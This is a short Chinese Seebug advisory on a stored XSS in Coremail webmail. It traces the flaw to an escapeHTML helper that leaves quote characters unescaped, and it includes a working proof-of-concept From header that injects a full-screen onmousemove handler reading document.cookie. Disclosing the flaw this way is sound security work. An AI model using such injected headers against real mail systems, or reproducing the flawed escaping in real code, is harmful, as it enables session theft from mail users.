一个Coremail的存储型XSS

2016-04-09T00:00:00
ID SSV:94754
Type seebug
Reporter Root
Modified 2016-04-09T00:00:00

Description

简要描述:

某处 escape 姿势不对

详细说明:

目前的代码,在构造发件人时,代码如下:

function getEmailDiv(emailAddress) { return '<div class="emailAddress" value="'+emailAddress.escapeHTML()+'" style="display:none"></div>' }

那么 escapeHTML 是什么呢?

function (){ var div=document.createElement("div"); var _15=document.createTextNode(this); div.appendChild(_15); return div.innerHTML; }

这种过滤并不会过滤单引号和双引号,所以可以构造特别的字符串逃逸到双引号以外

漏洞证明:

最简单触发方式是利用 onmousexxx 系列属性。由于原始的 div 还有个 display:none,是无法直接触发鼠标事件的,所以可以自己提前把 style 属性覆盖掉,顺便样式改成覆盖全屏幕这样一动鼠标就触发了。 比如 From 字段如下:

From: test<12 " style="display:block;position:fixed;left:0;top:0;width:100%;height:100%;" onmousemove="alert(document.cookie)" a="@**.**.**.**>

最后 JavaScript 构造出的 HTML 如下:

<div class="emailAddress" value="12 " style="display:block;position:fixed;left:0;top:0;width:100%;height:100%;" onmousemove="alert(document.cookie)" a="@**.**.**.**"></div>

<img src="https://images.seebug.org/upload/201604/082251384dcac0c813ec1823c40f68f7ad97f16b.jpg" alt="exp.jpg" width="600" onerror="javascript:errimg(this);">